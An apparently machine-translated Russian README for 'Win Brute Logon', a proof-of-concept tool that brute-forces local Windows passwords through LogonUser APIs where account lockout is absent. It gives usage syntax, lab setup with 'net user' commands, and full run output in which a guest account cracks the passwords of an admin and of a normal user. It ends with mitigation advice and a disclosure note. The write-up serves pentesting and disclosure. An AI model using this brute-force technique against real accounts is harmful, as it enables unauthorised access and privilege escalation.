Примечание 1: Мы рады сообщить, что наш текущий инструмент был перенесен в версию PowerShell. Это означает, что пользователи теперь могут получить доступ и использовать инструмент непосредственно из командной строки PowerShell, что делает его еще более удобным и эффективным для использования. Мы считаем, что эта новая версия принесет пользу нашим пользователям и улучшит их опыт работы с инструментом. Спасибо за вашу постоянную поддержку, и мы надеемся, что вам понравится новая версия PowerShell: https://github.com/darkcodersc/power-rute-logon
Примечание 2: Недавно мы узнали, что Microsoft включила политику блокировки учетной записи по умолчанию в современных и современных версиях Windows. Эта политика помогает обеспечить систему, блокируя учетную запись после определенного количества неудачных попыток входа в систему. Хотя это полезная мера безопасности, она делает доказательство концепции (POC) неэффективным в этих системах.
Дата выпуска: 2020-05-14
Цель: Windows XP в последнюю версию Windows 10 (1909)
Расположение слабости: LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon предназначен для моделирования атаки грубой силы на учетную запись Microsoft путем угадания большого количества комбинаций паролей за короткое время. Это позволяет Пентестеру проверить позу безопасности своих систем и оценивать их защиту от атак грубой силы. Инструмент использует отсутствие механизма блокировки учетной записи, что является общей слабостью во многих системах (до того, как блокировка учетной записи станет по умолчанию в Windows 11). Попытка угадать пароль учетной записи, инструмент может помочь пентестерам идентифицировать и устранить уязвимости в своих мерах безопасности. Это должно использоваться ответственно и в пределах границ закона.
Для этой демонстрации мы создадим свежую версию Windows 10 на виртуальной или физической машине. Как только машина настроена, войдите в систему как администратор. Затем создайте два разных локальных учетных записей: одна учетная запись администратора и одна обычная учетная запись пользователя. Обратите внимание, что, хотя мы будем использовать учетную запись гостя для демонстрации, это доказательство концепции (POC) не ограничивается учетной записью гостя. Его можно использовать из любой учетной записи или группы, включая гость, обычного пользователя и пользователя администратора.
net user darkcodersc /add
net user darkcodersc trousers (брюки - это пароль)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm - это пароль)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
В моем случае как trousers , так и ozlq6qwm находятся в Seclist: https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt.txt
Чтобы начать демонстрацию, выходите из учетной записи администратора или перезапустите машину и войдите в учетную запись гостя. Затем поместите исполняемый файл POC в место, где у вас есть доступ в качестве гостевого пользователя.
Использование: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v является необязательным, он разработал режим словеса.
По умолчанию доменное имя - это значение, обозначенное %USERDOMAIN% env var. Вы можете указать пользовательское имя с опцией -d
darkcodersc (администратор) Приглашение (гость)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Подождите несколько секунд, чтобы увидеть следующий результат:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (обычный пользователь) Приглашение (гость)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Подождите несколько секунд, чтобы увидеть следующий результат:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
«В реальном сценарии, если злоумышленник получает доступ к низкопривилегированной учетной записи пользователя, он может взломать пароль более привилегированного пользователя и обострить их привилегии. Чтобы смягчить этот риск, есть несколько шагов, которые можно предпринять:
Чтобы реализовать политику блокировки безопасности (которая не включена по умолчанию), выполните следующие действия:
Обратите внимание, что политика блокировки не распространяется на учетную запись администратора. В этом случае лучшая защита учетной записи администратора (если включена) - настроить очень сложный пароль.
Отчет, в котором подробно описывается эта слабость, был отправлен в команду безопасности Microsoft. Они должны рассмотреть возможность включения политики блокировки учетной записи по умолчанию ».
(Обновление 2022): блокировка учетной записи наконец -то включена по умолчанию.